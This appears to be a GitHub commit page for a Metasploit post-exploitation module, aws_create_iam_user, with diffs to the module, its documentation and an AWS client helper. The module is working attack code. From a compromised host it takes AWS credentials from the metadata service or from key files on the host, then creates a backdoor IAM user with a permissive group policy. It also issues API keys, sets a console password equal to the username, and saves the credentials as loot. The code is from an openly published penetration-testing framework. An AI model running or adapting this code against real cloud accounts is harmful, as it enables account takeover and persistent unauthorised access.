Skip to content

Commit 35340ec

Browse files
authored
Merge pull request #2 from jhart-r7/pr/fixup-7604
More cleanup, allow setting of password for console access
2 parents 33add4c + 70668c2 commit 35340ec

File tree

3 files changed

+73
-19
lines changed

3 files changed

+73
-19
lines changed

documentation/modules/post/multi/escalate/aws_create_iam_user.md

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -65,8 +65,8 @@ aws_create_iam_user can be used to take over an AWS account given access to
6565
a host having 1). overly permissive instance profile/role, 2). API Access keys.
6666
Once a foothold is established, you can run the module to pull temporary
6767
access keys from the metadata service. If this fails, search the instance for
68-
API access keys, e.g., see ~/aws/credentals, and set `AccessKeyId`,
69-
`SecretAccessKey`, & `Token` (optional).
68+
API access keys, e.g., see ~/.aws/credentials, and set `AccessKeyId`,
69+
`SecretAccessKey`, & `Token` (optional).
7070

7171
## Options
7272

@@ -75,6 +75,8 @@ API access keys, e.g., see ~/aws/credentals, and set `AccessKeyId`,
7575
* `SecretAccessKey`: set this if you find access keys on the host and instance has no profile/privileges
7676
* `Token`: set this if you find access keys on the host and instance has no profile/privileges. This is optional as this signifies temporary keys, if you find these, these are most likely expired.
7777
* `Proxies`: depending on your environment, you may wan to proxy your calls to AWS.
78+
* `CREATE_API`: when true, creates API keys for this user
79+
* `CREATE_CONSOLE`: when true, creates a password for this user so that they can access the AWS console
7880

7981

8082
### Establish a foothold
@@ -212,4 +214,4 @@ You can see the API keys stored in loot:
212214
$ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
213215
214216
{"AccessKeyId":"AKIA...","SecretAccessKey":"THE SECRET ACCESS KEY...","AccessKeySelector":"HMAC","UserName":"metasploit","Status":"Active","CreateDate":"2016-11-21T17:59:51.967Z"}
215-
```
217+
```

lib/metasploit/framework/aws/client.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -140,7 +140,7 @@ def print_results(doc, action)
140140
end
141141

142142
def call_api(creds, service, api_params)
143-
print_status("Connecting (#{datastore['RHOST']})...")
143+
vprint_status("Connecting (#{datastore['RHOST']})...")
144144
body = body(api_params)
145145
body_length = body.length
146146
body_digest = hexdigest(body)

modules/post/multi/escalate/aws_create_iam_user.rb

Lines changed: 67 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,10 @@ def initialize(info = {})
2222
'License' => MSF_LICENSE,
2323
'Platform' => %w(unix),
2424
'SessionTypes' => %w(shell meterpreter),
25-
'Author' => ['Javier Godinez <godinezj[at]gmail.com>'],
25+
'Author' => [
26+
'Javier Godinez <godinezj[at]gmail.com>',
27+
'Jon Hart <[email protected]>'
28+
],
2629
'References' => [
2730
[ 'URL', 'https://github.com/devsecops/bootcamp/raw/master/Week-6/slides/june-DSO-bootcamp-week-six-lesson-three.pdf' ]
2831
]
@@ -32,6 +35,8 @@ def initialize(info = {})
3235
register_options(
3336
[
3437
OptString.new('IAM_USERNAME', [false, 'Name of the user to be created (leave empty or unset to use a random name)', '']),
38+
OptBool.new('CREATE_API', [true, 'Add access key ID and secret access key to account (API, CLI, and SDK access)', true]),
39+
OptBool.new('CREATE_CONSOLE', [true, 'Create an account with a password for accessing the AWS management console', true]),
3540
OptString.new('AccessKeyId', [false, 'AWS access key', '']),
3641
OptString.new('SecretAccessKey', [false, 'AWS secret key', '']),
3742
OptString.new('Token', [false, 'AWS session token', ''])
@@ -50,6 +55,12 @@ def initialize(info = {})
5055
deregister_options('VHOST')
5156
end
5257

58+
def setup
59+
if !(datastore['CREATE_API'] || datastore['CREATE_CONSOLE'])
60+
fail_with(Failure::BadConfig, "Must set one or both of CREATE_API and CREATE_CONSOLE")
61+
end
62+
end
63+
5364
def run
5465
# setup creds for making IAM API calls
5566
creds = metadata_creds
@@ -66,41 +77,82 @@ def run
6677
creds['Token'] = datastore['Token'] unless datastore['Token'].blank?
6778
end
6879

80+
results = {}
81+
6982
# create user
7083
username = datastore['IAM_USERNAME'].blank? ? Rex::Text.rand_text_alphanumeric(16) : datastore['IAM_USERNAME']
7184
print_status("Creating user: #{username}")
7285
action = 'CreateUser'
7386
doc = call_iam(creds, 'Action' => action, 'UserName' => username)
7487
print_results(doc, action)
88+
results['UserName'] = username
7589

7690
# create group
77-
print_status("Creating group: #{username}")
91+
groupname = username
92+
print_status("Creating group: #{groupname}")
7893
action = 'CreateGroup'
79-
doc = call_iam(creds, 'Action' => action, 'GroupName' => username)
94+
doc = call_iam(creds, 'Action' => action, 'GroupName' => groupname)
8095
print_results(doc, action)
96+
results['GroupName'] = groupname
8197

8298
# create group policy
83-
print_status("Creating group policy: #{username}")
99+
policyname = username
100+
print_status("Creating group policy: #{policyname}")
84101
pol_doc = datastore['IAM_GROUP_POL']
85102
action = 'PutGroupPolicy'
86-
doc = call_iam(creds, 'Action' => action, 'GroupName' => username, 'PolicyName' => username, 'PolicyDocument' => URI.encode(pol_doc))
103+
doc = call_iam(creds, 'Action' => action, 'GroupName' => groupname, 'PolicyName' => policyname, 'PolicyDocument' => URI.encode(pol_doc))
87104
print_results(doc, action)
88105

89106
# add user to group
90-
print_status("Adding user (#{username}) to group: #{username}")
107+
print_status("Adding user (#{username}) to group: #{groupname}")
91108
action = 'AddUserToGroup'
92-
doc = call_iam(creds, 'Action' => action, 'UserName' => username, 'GroupName' => username)
109+
doc = call_iam(creds, 'Action' => action, 'UserName' => username, 'GroupName' => groupname)
93110
print_results(doc, action)
94111

95-
# create API keys
96-
print_status("Creating API Keys for #{username}")
97-
action = 'CreateAccessKey'
98-
doc = call_iam(creds, 'Action' => action, 'UserName' => username)
99-
doc = print_results(doc, action)
100112

101-
return if doc.nil?
102-
path = store_loot(doc['AccessKeyId'], 'text/plain', datastore['RHOST'], doc.to_json)
103-
print_good("API keys stored at: " + path)
113+
if datastore['CREATE_API']
114+
# create API keys
115+
print_status("Creating API Keys for #{username}")
116+
action = 'CreateAccessKey'
117+
response = call_iam(creds, 'Action' => action, 'UserName' => username)
118+
doc = print_results(response, action)
119+
results['SecretAccessKey'] = doc['SecretAccessKey']
120+
results['AccessKeyId'] = doc['AccessKeyId']
121+
end
122+
123+
if datastore['CREATE_CONSOLE']
124+
print_status("Creating password for #{username}")
125+
password = username
126+
action = 'CreateLoginProfile'
127+
response = call_iam(creds, 'Action' => action, 'UserName' => username, 'Password' => password)
128+
doc = print_results(response, action)
129+
results['Password'] = password
130+
end
131+
132+
action = 'GetUser'
133+
response = call_iam(creds, 'Action' => action, 'UserName' => username)
134+
doc = print_results(response, action)
135+
arn = doc['Arn']
136+
results['AccountId'] = arn[/^arn:aws:iam::(\d+):/,1]
137+
138+
keys = results.keys
139+
table = Rex::Text::Table.new(
140+
'Header' => "AWS Account Information",
141+
'Columns' => keys
142+
)
143+
table << results.values
144+
print_line(table.to_s)
145+
146+
if results.key?('AccessKeyId')
147+
print_good("AWS CLI/SDK etc can be accessed by configuring with the above listed values")
148+
end
149+
150+
if results.key?('Password')
151+
print_good("AWS console URL https://#{results['AccountId']}.signin.aws.amazon.com/console may be used to access this account")
152+
end
153+
154+
path = store_loot('AWS credentials', 'text/json', session, results.to_json)
155+
print_good("AWS loot stored at: " + path)
104156
end
105157

106158
def metadata_creds

0 commit comments

Comments
 (0)